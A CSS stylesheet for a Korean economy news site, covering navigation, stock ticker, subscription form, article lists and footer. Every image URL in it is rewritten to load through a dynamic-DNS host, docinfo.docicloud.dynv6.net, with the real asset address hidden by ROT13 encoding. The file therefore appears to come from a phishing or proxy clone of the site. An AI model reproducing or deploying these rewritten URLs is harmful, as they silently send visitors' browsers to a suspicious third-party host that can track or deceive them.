@charset "utf-8";


/* common */
body,p,h1,h2,h3,h4,h5,h6,ul,ol,li,dl,dt,dd,form,fieldset,legend,input,textarea,button,select{margin:0;padding:0}
body,input,textarea,select,button,table{font-family:'Malgun Gothic','맑은고딕',돋움,Dotum,굴림,Gulim,'Apple SD Gothic Neo',sans-serif;}

table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;word-break:break-all}
table{border-collapse:collapse;border-spacing:0}

img, fieldset {border:0}
ul,ol{list-style:none}
address,em{color:#222;font-style:normal}
a{color:#444;text-decoration:none}
a:hover,a:active,a:focus{color:#444;text-decoration:underline}
hr,legend,caption {display:none}
html{-webkit-text-size-adjust:none}

a{color:#222;text-decoration:none;cursor:pointer}
a:hover{text-decoration:underline}
a:focus{text-decoration:underline}

.skip{position:absolute;top:0;left:0;width:1px;height:1px;overflow:hidden;visibility:hidden;font-size:0;line-height:0}
.hidden{position:absolute;visibility:hidden;top:-9999em;left:-9999em;width:1px;height:1px;line-height:0;overflow:hidden}
.blind{position:absolute;display:block;overflow:hidden;top:-1000em;left:0}

.header {width: 100%; clear: both; background: #fff; min-width: 1200px}
.gnbbx_wrap {position:absolute; top:0; width:100%; min-width:1205px; height:61px; font-family:'Malgun Gothic','맑은고딕',sans-serif; background:#fff}
.gnbbx_wrap #gnbbx_m {position:relative; width:1205px; height:61px; margin:0 auto}

.gnb_move {position:fixed; top:0; width:100%; height:61px; font-family:'Malgun Gothic','맑은고딕',sans-serif; border-bottom:1px solid #dedede; background:#fff; z-index:10001; webkit-box-shadow:0 3px 6px 0 rgba(0,0,0,.16);box-shadow:0 3px 6px 0 rgba(0,0,0,.16)}
.gnb_move #gnbbx_m {position:relative;  height:61px; margin:0 10px}

#gnbbx_m .allmn_m {position:absolute; top:13px; left:0; z-index:100}
#gnbbx_m .allmn_m a {display:block; width:35px; height:35px}
.ic_ham_m {display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sunz.cat) top 12px center no-repeat; width:35px; height:35px}
.ic_sch_m {display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sfepu.cat) top 10px center no-repeat; width:35px; height:35px}
.ic_close_m {display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_pybfr.cat) top 11px center no-repeat; width:35px; height:35px}

.ic_ham_m_w {display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_unz_juvgr.cat) top 12px center no-repeat; width:35px; height:35px}
.ic_sch_m_w {display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_fepu_juvgr.cat) top 10px center no-repeat; width:35px; height:35px}
.ic_close_m_w {display:block; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_pybfr_juvgr.cat) top 12px center no-repeat; width:35px; height:35px}

.logo_sm {position:absolute; left:40px; top:20px}

ul.gnb_m {position:absolute; top:13px; left:135px; }
ul.gnb_m li {position:relative; float:left; font-size:15px; font-weight:normal; color:#fff; margin:0 30px 0 0}

ul.gnb_m li:first-child img {padding-top: 8px;height: 20px;padding-left: 15px;}
ul.gnb_m li:first-child a {color:#fff; line-height:30px; }
ul.gnb_m li:first-child a:hover {text-decoration: underline; text-decoration-color: orange;}
ul.gnb_m li:first-child a:hover:before {display:none}
ul.gnb_m li a {position:relative; display:block; font-size:15px; color:#1A1311;  line-height:30px; padding:0 3px 18px 3px}
ul.gnb_m li a:hover {color:#000; text-decoration:none; color:#ff9340; font-weight:bold;}
ul.gnb_m li a:hover:before {content:''; position:absolute; bottom:0; left:0; display:block; width:100%; height:3px; background:#ff9340;}
/*ul.gnb_m li.on a {color:#fff}*/
/*ul.gnb_m li.on a:before {content:''; position:absolute; bottom:0; left:0; display:block; width:100%; height:3px; background:#fff}*/
.second {padding-left: 17px}
ul.gnb_m li.on a {color:#ff9340!important;}
ul.gnb_m li.on a:before {content:''; position:absolute; bottom:0; left:0; display:block; width:100%; height:3px; background:#ff9340;}


.gnb_m_member {position:absolute; top:22px; right:50px; overflow:hidden}
.gnb_m_member a {float:left; display:block; font-size:13px; color:#666666; letter-spacing:-0.05em; margin:0 0 0 25px}
.gnb_m_member a:hover {color:#333}

.gnb_m_member_w {position:absolute; top:22px; right:50px; overflow:hidden}
.gnb_m_member_w a {float:left; display:block; font-size:13px; color:#fff; letter-spacing:-0.05em; margin:0 0 0 20px}
.gnb_m_member_w a:hover {color:#fff}

#gnbbx_m .srchmn {position:absolute; top:12px; right:0; z-index:101}
#gnbbx_m .srchmn a {display:block; width:35px; height:35px}
#gnbbx_m .srchmn a.srch {display:block; font-size:14px; font-weight:bold; color:#333; letter-spacing:-0.05em; line-height:36px; padding:0 22px 0px 20px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sfepu.cat) no-repeat 100% 58%}


/* subscription qf gnb */
.top_nav{position:relative;width:100%;background-color:#f5f5f5;height:32px;margin:0 auto;clear:both;z-index:20}
.top_nav .top_nav_in{position:relative;overflow:hidden;width:1100px;height:32px;margin:0 auto;padding:0 10px}

.top_stock{position:relative;width:100%;background-color:#000000;height:33px;margin:0 auto;clear:both;z-index:21}
.top_stock .top_stock_in{position:relative;overflow:hidden;width:1100px;height:33px;background-color:#000000;margin:0 auto;padding:0 10px}

ul.top_nav_u{position:relative}
ul.top_nav_u li{float:left;text-align:left;font-size:11px;line-height:16px}
ul.top_nav_u li a{display:block;color:#333;padding:6px 11px 8px 0}

ul.top_nav_u2{float:right}
ul.top_nav_u2 li{float:left;text-align:left;font-size:11px;line-height:16px}
ul.top_nav_u2 li a{font-weight:normal;display:block;color:#333;padding:6px 8px 8px 6px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sone1.tvs) no-repeat right 11px}
ul.top_nav_u2 li a.lang{padding:7px 8px 7px 6px;}
ul.top_nav_u2 li a.last{padding-right:0;background:none;}

ul.top_stock_u{position:relative}
ul.top_stock_u li{float:left;text-align:left;font-size:12px;line-height:16px}
ul.top_stock_u li .s_name{padding-right:4px;display:inline}
ul.top_stock_u li .s_value{padding-left:1px;display:inline}
ul.top_stock_u li .up{display:inline-block;width:10px;height:14px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Shc1.cat) no-repeat 0 4px;text-indent:-9999px;}
ul.top_stock_u li .down{display:inline-block;width:10px;height:14px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sqbja1.cat) no-repeat 0 5px;text-indent:-9999px;}
ul.top_stock_u li a{display:block;font-weight:bold;color:#dddddd;padding:7px 40px 7px 0}

.tbl{position:relative;width:100%;clear:both}
.tbl td{font-weight:normal;text-align:left;line-height:16px;font-size:12px}
.tbl td.last{text-align:right}

.tbl td .s_name{display:inline;font-family:Verdana, sans-serif;}
.tbl td .s_value{padding-right:5px;padding-left:5px;display:inline;font-family:Verdana, sans-serif;letter-spacing:-0.05em}
.tbl td .s_value2{display:inline;font-family:Verdana, sans-serif;letter-spacing:-0.05em}

.tbl td a{display:inline-block;color:#e1e1e1;padding:7px 0 7px;margin-right:40px;}
.tbl td a:hover{color:#999}
.tbl td a:link, .tbl td a:hover, .tbl td a:visited{text-decoration:none}
.tbl td .icimg{vertical-align:middle;position:relative;bottom:1px;margin-right:1px}

.btn_go{position:absolute;top:5px;right:10px;display:block;width:92px;height:23px;overflow:hidden;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Soga_fg_bss.tvs) no-repeat 0 0;text-indent:-9999px;}
.btn_go:hover{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Soga_fg_ba.tvs) no-repeat 0 0}
/* //subscription qf gnb */


.menubx_wrap {z-index:1000000002; position:absolute; top:61px; left:0; width:100%; border-top:1px solid #eaeaea; border-bottom:1px solid #dedede; background:#fff; webkit-box-shadow:0 3px 6px 0 rgba(0,0,0,.16);box-shadow:0 3px 6px 0 rgba(0,0,0,.16)}
.menubx {overflow:hidden; position:relative; width:1100px; margin:0 auto; padding:28px 0 25px 0}
.depth_col {float:left; width:152px; padding:0 0 0 15px; margin:0 15px 0 0; border-left:1px solid #f0f0f0}
.depth_list {width:100%}
.depth_list li {display:block}
.depth_list .tit {font-size:15px; font-weight:bold; color:#f66800; letter-spacing:-0.05em; padding:0 0 12px 0}
.depth_list .tit:hover {color:#f66800}
.depth_list li a {display:inline-block; font-size:14px; color:#666; letter-spacing:-0.05em; padding:6px 0}
.depth_list li a:hover {color:#000}
.depth_list li .ic_new {font-weight:bold; color:#222}
.depth_list li .ic_new:after {content:''; position:relative; top:2px; display:inline-block; width:13px; height:13px; margin:0 0 0 5px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_arj.wct) top left no-repeat}
.depth_list li .ic_best {font-weight:bold; color:#222}
.depth_list li .ic_best:after {content:''; position:relative; top:2px; display:inline-block; width:13px; height:13px; margin:0 0 0 5px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_orfg.wct) no-repeat}

.center_logo { /* 230111 수정 */
    text-align: center; height: 83px;  clear: both; z-index: 500;
    position: relative;
    width: 1205px;
    margin: 61px auto 0;
}
.center_logo .pd18 { /* 230111 수정 */
    padding-top: 18px;
    width: 320px;
    margin: 0 auto;
}
.center_logo .pd18 a {display: block;} /* 230111 추가 */
.center_logo .pd18 img {height: 38px;}
.top_menu { width: 100%; background: #fff; min-width: 1200px; border-top: 1px solid #E5E5E5; border-bottom: 1px solid #E5E5E5;}
.top_menu .topsbmenu {margin: 0 auto; overflow: hidden; width: 727px}
.top_menu .topsbmenu li {float: left; color: black; font-size: 15px; padding: 24px  27px 21px   27px}
.top_menu .topsbmenu .on a {color: #ff9340!important;font-weight: bold;}

.top_menu .topsbmenu li a {color: #000!important;}
.top_menu .topsbmenu li a:hover {color: #ff9340!important;}
.top_menu .topsbmenu li a:visited {color: #FFFFFF}
.top_menu .topsbmenu li:first-child {padding-left:0}
.top_menu .topsbmenu li:last-child {padding-right:0}


.ad_top{text-align: center; width: 1100px; margin: 40px auto;}

.contents {clear: both; margin: 45px auto 0; width: 1205px; background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_onx_tenl.tvs') repeat-y 0 0; position: relative;
    overflow: hidden;
}
.contents .left_layout {width: 858px; float: left}
.contents .right_layout {width: 298px; float: right}

.apply_reader {border: 1px solid #dadada; margin-bottom: 20px}
.apply_reader .mid_tit {padding: 25px; text-align: center; font-size: 20px; background: #f9f9f9; font-weight: bold;  }
.apply_reader .sm_midtit {display: inline-block; font-size: 14px; letter-spacing: -1px; padding: 4px 8px; color: #ff9340; border: 1px solid #ff9340; border-radius: 20px; background-color: #fff;}
.img_bd_g {width: 182px; margin-top:16px;}
.apply_reader .mid_tit .tit_date {display: inline-block; padding-bottom: 7px}
.btn_type_1 {background: #ff9340; border-radius: 50px; color: #FFFFFF; font-size: 14px; font-weight: bold; width:185px; margin: 10px auto 8px; padding: 12px 0; letter-spacing: -1px}
.btn_type_1 a:link {color: #FFFFFF; text-decoration: none}
.btn_type_1 a:hover {color: #FFFFFF; text-decoration: none!important}
.btn_type_1 a:visited {color: #FFFFFF; text-decoration: none}
.btn_type_2 {border-radius:50px; background: #ffffff; color: #7B7B7B; font-size: 14px; font-weight: bold; width:185px; margin: 7px auto; padding: 9px 0; border: 1px solid #c1c1c1; letter-spacing: -1px}
.btn_type_2 a:link {color: #FFFFFF; text-decoration: none}
.btn_type_2 a:hover {color: #FFFFFF; text-decoration: none!important}
.btn_type_2 a:visited {color: #FFFFFF; text-decoration: none}
.apply_reader a:link {text-decoration: none}
.apply_reader a:hover {text-decoration: none}
.apply_reader a:visited {text-decoration: none}

.list_last  .paper_list li a:link { text-decoration: none}
.list_last  .paper_list li a:hover { text-decoration: none}
.list_last  .paper_list li a:visited { text-decoration: none}

.lux_best {width: 100%; clear:both; margin-top: 50px;}
.lux_bestclick {font-size: 20px; letter-spacing: -1.5px}
.lux_bestclick img {margin-right: 9px; vertical-align: -3px; display: inline-block;}
.bestclick_box {margin-top:20px; width:100%; overflow:hidden; padding-bottom: 20px}
.bestclick_art {text-align:left; clear:both; border-bottom:1px solid #eaeaea; overflow:hidden; padding:10px 0 10px 4px}
.bestclick_art dt {text-align:left; font-weight:normal; font-size:15px; line-height:21px; letter-spacing:-0.05em; padding-bottom:7px}
.bestclick_art dt a{color:#141414}
.bestclick_art dt a.locked:before{content: '';display: inline-block;width: 12px;height: 16px;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_ybpx.fit) no-repeat center/100%;vertical-align: -2px;margin-right: 7px;
    margin-top: 2px;}
.bestclick_art .thum {float:right; padding-left:15px}
.bestclick_art .num {color:#ff9340; letter-spacing:-1px; font-size:25px;width:31px; display:block; float:left; font-weight:bold; border:1px solid #fff; margin-top:-1px; vertical-align: top; height: 50px;}

/* reporter, ad request area */
.economy_new_info {margin-top: 40px; }
.economy_new_info .new_info_tit {margin-bottom: 20px; text-align: center;}
.economy_new_info .new_info_tit img {height: 20px;}
.economy_new_info ul li:first-child {width: 48%; float: left;}
.economy_new_info ul li:last-child {width: 48%; float: right;}
.economy_new_info ul li a {text-decoration: none; box-sizing: border-box; text-align: center; border-radius: 50px; display: inline-block; padding: 8px 0; border: 1px solid #d9d9d9; color: gray; width: 100%; background-color: #FBFBFB;}
.economy_new_info ul li a:hover {box-sizing: border-box; text-align: center; border-radius: 50px; display: inline-block; padding: 8px 0; border: 1px solid #ff9340; background: #ff9340; color: #fff; width: 100%; font-weight: bold;}
.economy_new_info2 {margin-bottom: 50px;}
.economy_new_info2 .new_info_tit2 img {margin-top: 50px;}
/* //reporter, ad request area */

/* subscription qualification */
.subscription_qf_area {padding: 80px 0; background: #f9f9f9;}
.subscription_qf_area button {cursor: pointer;}
.subscription_qf_area .qf_top_area {margin: 0 auto; width: 100%; text-align: center; margin-bottom: 30px;}
.subscription_qf_area .qf_top_area .qf_top_tit span {color: #ff9340; font-weight: bold; font-size: 28px; vertical-align: 4px;}
.subscription_qf_area .qf_top_area .qf_mid_tit {margin-top: 10px; font-size: 16px; color: #484848; font-weight: bold;}
.subscription_qf_area .qf_mid_area {padding: 60px 0px 50px 0; width: 660px; margin: 0 auto; background: #fff; border: 1px solid #d9d9d9;}
.subscription_qf_area .qf_mid_area .qf_each_q {overflow: hidden; width: 85%; margin: 0 auto; margin-bottom: 15px;}
.subscription_qf_area .qf_mid_area .qf_each_q:last-child {margin-bottom: 0;}
.subscription_qf_area .qf_mid_area .qf_each_q .each_wrapper {overflow: hidden;}
.subscription_qf_area .qf_mid_area .qf_each_q label {width: 20%; float: left; font-size: 17px; color: #484848; font-weight: bold; line-height: 40px;}
.subscription_qf_area .qf_mid_area .qf_each_q label .bt_q_tip {background: transparent; margin-left: 2px; border: none;}
.subscription_qf_area .qf_mid_area .qf_each_q label .bt_q_tip img {vertical-align: -4px; width: 20px;}
.subscription_qf_area .qf_mid_area .qf_each_q .qf_input_wrapper {width: 80%; float: right;}
.subscription_qf_area .qf_mid_area .qf_each_q .qf_input_wrapper input {line-height: 40px; padding: 0 15px; font-size: 15px; box-sizing: border-box; border-radius: 5px; border: 1px solid #d9d9d9;}
.subscription_qf_area .qf_mid_area .qf_each_q .qf_input_wrapper .qf_q_100p {width: 100%;}
.subscription_qf_area .qf_mid_area .qf_each_q .qf_input_wrapper .qf_q_70p {width: 70%; float: left}
.subscription_qf_area .qf_mid_area .qf_each_q .qf_input_wrapper .bt_send_sms {cursor: pointer; width: 28%; float: right; line-height: 40px; border-radius: 5px; border: 1px solid #d9d9d9; color: gray; text-align: center; background: #f8f8f8; font-weight: bold;}
.subscription_qf_area .qf_mid_area .qf_each_q .qf_input_wrapper .bt_send_sms:hover {cursor: pointer; width: 28%; float: right;line-height: 40px; border-radius: 5px; border: 1px solid #ff9340; color: #FF8426 ;text-align: center; background: #fff; transition: .2s;}
.subscription_qf_area .qf_mid_area .qf_each_q_desc {width: 80%; padding: 10px 0 0 0; text-align: left; float: right; color: #ff9340; font-size: 14px;}
.subscription_qf_area .qf_bottom_area {clear: both; width: 660px; margin: 0 auto;}
.subscription_qf_area .qf_bottom_area button {width: 100%; border: none; padding: 15px 0; background: #ff9340; margin: 0 auto; margin-top: 25px; display: block; font-size: 18px; color: #fff; font-weight: bold;}
.subscription_qf_area .qf_bottom_area .txt_bottom {margin: 0 auto; margin-top: 10px; font-size: 18px; color: gray; font-weight: bold; text-align: center;}

.subscription_qf_area .letter_img {
    text-align: center;
    margin-top: 40px;
}

/* //subscription qualification */

.sitemap_lux {width: 1205px; margin: 0 auto}
.sitemap_menu{clear:both; position:relative;  padding:18px 0 25px; width:100%; background:#fff; border-top:1px solid #d0d0d0}
.sitemap_menu .sitemap_in{position:relative;overflow:hidden;padding-top:10px;clear:both;letter-spacing:-1px}
.sitemap_menu .sitemap_in div{float:left}
.sitemap_menu .sitemap_in .ct1 {width:137px}
.sitemap_menu .sitemap_in .ct2 {width:137px}
.sitemap_menu .sitemap_in .ct3 {width:137px}
.sitemap_menu .sitemap_in .ct4 {width:137px}
.sitemap_menu .sitemap_in .ct5 {width:137px}
.sitemap_menu .sitemap_in .ct6 {width:137px}
.sitemap_menu .sitemap_in .ct7 {width:137px}
.sitemap_menu .sitemap_in .ct8 {width:137px}
.sitemap_menu .sitemap_in ul{font-size:12px;line-height:23px; text-align:left}
.sitemap_menu .sitemap_in ul li{line-height:23px}
.sitemap_menu .sitemap_in ul li.tit{margin-bottom:10px}
.sitemap_menu .sitemap_in ul li.tit a {font-size:14px;font-weight:bold;color:#ff7e00}
.sitemap_menu .sitemap_in ul li a{color:#666;font-size:13px;}
.sitemap_menu .sitemap_in ul li.mb25{margin-bottom:24px}


.sitemap_menu2{clear:both; position:relative; margin:40px auto 0; padding-top:10px; width:100%; background:#fff; border-top:1px solid #d9d9d9}
.sitemap_menu2 .sitemap_in{position:relative;overflow:hidden;padding:15px 0 23px; margin:0 auto; width:1180px; clear:both;letter-spacing:-1px}
.sitemap_menu2 .sitemap_in div{float:left}
.sitemap_menu2 .sitemap_in .ct1 {width:147px}
.sitemap_menu2 .sitemap_in .ct2 {width:147px}
.sitemap_menu2 .sitemap_in .ct3 {width:147px}
.sitemap_menu2 .sitemap_in .ct4 {width:147px}
.sitemap_menu2 .sitemap_in .ct5 {width:147px}
.sitemap_menu2 .sitemap_in .ct6 {width:147px}
.sitemap_menu2 .sitemap_in .ct7 {width:147px}
.sitemap_menu2 .sitemap_in .ct8 {width:147px}
.sitemap_menu2 .sitemap_in ul{font-size:12px;line-height:23px; text-align:left}
.sitemap_menu2 .sitemap_in ul li{line-height:23px}
.sitemap_menu2 .sitemap_in ul li.tit{margin-bottom:10px}
.sitemap_menu2 .sitemap_in ul li.tit a {font-size:14px;font-weight:bold;color:#ff7e00}
.sitemap_menu2 .sitemap_in ul li a{color:#666;font-size:13px;}
.sitemap_menu2 .sitemap_in ul li.mb25{margin-bottom:24px}



/* footer */
#footer{position:relative;width:100%;z-index:5}
#footer .inbox{position:relative;width:1205px;margin:0 auto;border-top:1px solid #d9d9d9}
#footer .inbox .sitemap{position:relative;overflow:hidden;text-align:right;font-size:14px;line-height:38px;color:#222;font-weight:bold;letter-spacing:-1px}
#footer .inbox .sitemap img{vertical-align:middle}
#footer .inbox .sitemap a{color:#222}
#footer .inbox .foot_sec1{position:relative;float:left;width:129px;text-align:left;padding-top:29px}
#footer .inbox .foot_sec2{position:relative;float:left;width:950px;padding-top:22px}
#footer .inbox .foot_sec3{position:absolute;right:0;top:30px}
#footer .inbox .foot_sec3 select{width:140px; height:26px; font-size:12px; color:#222; vertical-align:middle; padding:0 5px; border:1px solid #d5d5d5}

ul.footer_u{position:relative;overflow:hidden;padding-left:19px}
ul.footer_u.add_area{margin-bottom:40px;margin-top:10px}
ul.footer_u li{float:left;font-size:12px;line-height:24px;color:#666;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sone4.tvs) no-repeat right 60%;padding-right:9px;padding-left:9px;letter-spacing:-1px;font-weight:normal}
ul.footer_u li.first{background-image:none;color:#141414;padding-right:11px;padding-left:0;font-weight:bold}
ul.footer_u li.first2{padding-left:0;font-size:12px;color:#666;letter-spacing:-0.05em}
ul.footer_u li.last{background-image:none}
ul.footer_u li.add{font-size:12px;color:#666;letter-spacing:-0.05em}
ul.footer_u li.add_last{background-image:none;font-size:12px;color:#666;letter-spacing:-0.05em}
ul.footer_u li.add_last span{display:inline;color:#888;padding-left:6px}
ul.footer_u li.add_last span .rssimg{vertical-align:middle;position:relative;bottom:2px;margin-right:3px}
ul.footer_u li a{color:#666}

#footer .inbox .foot_sec1_n {position:relative;float:left;width:110px!important;text-align:left;padding-top:29px}
#footer .inbox .foot_sec2_n {position:relative;float:left;width:990px!important;padding-top:23px;}
ul.footer_u_n {position:relative;overflow:hidden;padding-left:0!important; }
ul.footer_u_n.add_area{margin-bottom:40px;margin-top:10px}
ul.footer_u_n li{float:left;font-size:12px;line-height:24px;color:#666;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sone4.tvs) no-repeat right 60%;padding-right:9px;padding-left:9px;letter-spacing:-1px;font-weight:normal}
ul.footer_u_n li.first{background-image:none;color:#141414;padding-right:11px;padding-left:0;font-weight:bold}
ul.footer_u_n li.first2{padding-left:0;font-size:12px;color:#666;letter-spacing:-0.05em}
ul.footer_u_n li.last{background-image:none}
ul.footer_u_n li.add{font-size:12px;color:#666;letter-spacing:-0.05em}
ul.footer_u_n li.add_last{background-image:none;font-size:12px;color:#666;letter-spacing:-0.05em}
ul.footer_u_n li.add_last span{display:inlin;color:#888;padding-left:6px}
ul.footer_u_n li.add_last span .rssimg{vertical-align:middle;position:relative;bottom:2px;margin-right:3px}
ul.footer_u_n li a{color:#666}

/* showcase */
.lux_main {overflow: hidden}
.lux_main .slide {position:relative;}
.lux_main .slide .thumb {display:block;position:absolute;z-index:1;top:0;left:0;width:858px;height:505px;}
.lux_main .slide .thumb img {width:858px;height:505px;}
.lux_main .slide .thumb .shadow {border:none;background:#000;opacity:.4;-ms-filter:alpha(opacity=40);filter:alpha(opacity=40);}
.lux_main .slide .text_wrap {position:relative;z-index:2;width:858px;height:477px;text-align:center; vertical-align: middle}
.lux_main .slide .headline {text-align: left; display:block;padding:0 40px;color:#fff;font-size:35px;line-height:44px;letter-spacing:-0.06em;}
.lux_main .slide .headline a {display:block;color:#fff;}

.lux_main .slide .headline a.locked:before {content: ''; display: inline-block; width: 24px; height: 30px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_ybpx.fit) no-repeat center/100%; vertical-align: -4px; margin: 0 9px 0 0;}

.lux_main .headline {display:block;position:absolute;bottom:8%;left:10px;right:10px;max-height:250px;color:#fff;font-weight:bold;font-size:17px;line-height:24px;letter-spacing:-0.06em;overflow:hidden; text-shadow: 1px 1px 1px #333}
.lux_main .headline a {display:block;color:#fff;}
.text_wrap .headline .sm1_gold {font-weight: bold; color: #ff9340; font-size: 20px; letter-spacing: 0; position: relative; top: 3px}
.lux_bimg {position: absolute; left: 0; top: 0; z-index: 100}

.main_article {margin-top: 9px;}
.main_article li {float:left;position:relative;width:280px;margin-left:9px;overflow:hidden;}
.main_article li:first-child {margin-left:0;}
.main_article .thumb {display:block;width:280px;height:166px;}
.main_article .thumb img {width:280px;height:166px;}
.main_article .thumb .mask {border:none;background:#000;opacity:.2;-ms-filter:alpha(opacity=20);filter:alpha(opacity=20);}
.main_article .thumb .shadow {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sot_oynpx_gbc2.cat') 0 100% no-repeat; z-index: 100}
.main_article .headline {display:block;position:absolute;bottom:22px;left:10px;right:10px;max-height:72px;color:#fff;font-weight:bold;font-size:17px;line-height:24px;letter-spacing:-0.06em;overflow:hidden; z-index: 100}
.main_article .headline a {display:block;color:#fff;}

.main_article .headline a.locked:before {content: ''; display: inline-block; width: 12px; height: 16px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_ybpx.cat) no-repeat center/100%; vertical-align: -2px; margin-right: 6px;}

.clearfx {zoom:1;}
.clearfx:after {content:'.';display:block;font-size:0;height:0px;line-height:0;clear:both;}
.sm2_gold {font-size:15px; color:#ff9340; font-weight:bold;}

/* new main news list */
.new_list_area .new_list_tit {font-size: 22px; font-weight: bold; margin: 20px 0;}
.new_list_area > ul {margin-bottom: 30px; overflow: hidden;}
.new_list_area > ul > li {float: left; width: 280px; margin: 0 9px 20px 0; font-size: 16px; letter-spacing: -1px; font-weight: normal; line-height: 1.357em;}
.new_list_area > ul li:last-child {margin-right: 0;}
.new_list_area ul li a > h3 {color: #8e8e8e; font-size: 14px; z-index: 1000; margin: 2px 0 6px 0; font-weight: normal; letter-spacing: 0;}
.new_list_area > ul > li > a {text-decoration: none;}
.new_list_area > ul > li > a > img {border: 1px solid#eeeeee; width: 280px; height: 166px; margin-bottom: 10px; height: 155px;}
.new_list_area > ul > li > a:hover p {text-decoration: underline;}
.new_list_area > ul > li > a > p{height: 46px; letter-spacing: -1px; font-weight: normal;line-height: 1.45em; max-height: 2.9em; overflow: hidden; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical;}
.new_list_area > ul > li > a.locked > p:before {content: ''; display: inline-block; width: 12px; height: 16px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_ybpx.fit) no-repeat center/100%; vertical-align: -2px; margin-right: 6px;}
/* //new main news list */

/* news_list */
.list_area {overflow:hidden; position:relative; width:100%; clear: both;}
.article_list {position:relative; overflow:hidden; padding:20px 0;border-bottom:1px solid #eee; clear:both; width:100%}
.article_list .tit a{display:inline-block; width: 600px; padding:0 5px 0 0;font-size:20px;line-height:30px;letter-spacing:-1.5px;margin-top:-1px;color:#222;font-weight:bold}
.article_list .locked a:before {
    content: '';
    display: inline-block;
    width: 14px;
    height: 18px;
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_ybpx.fit) no-repeat center/100%;
    vertical-align: -2px;
    margin-right: 6px;
}


.article_list .desc {overflow:hidden}
.article_list .date {display:block;padding-top:12px;font-size:12px;letter-spacing:-0.05em;color:#999;font-weight:normal}
.article_list .date2 {padding-left:2px;font-size:12px;letter-spacing:-0.05em;color:#999;font-weight:normal}
.article_list .desctxt a{display:block;margin:11px 0 0;padding:0 5px 0 0;font-size:13px;line-height:20px;letter-spacing:-0.05em;color:#777}
.article_list .desctxt {display:block;margin:11px 0 0;padding:0 5px 0 0;font-size:13px;line-height:20px;letter-spacing:-0.05em;color:#777}
.article_list .thumb {float:left;position:relative;overflow:hidden;margin:0 20px 5px 0;font-size:0;line-height:0}
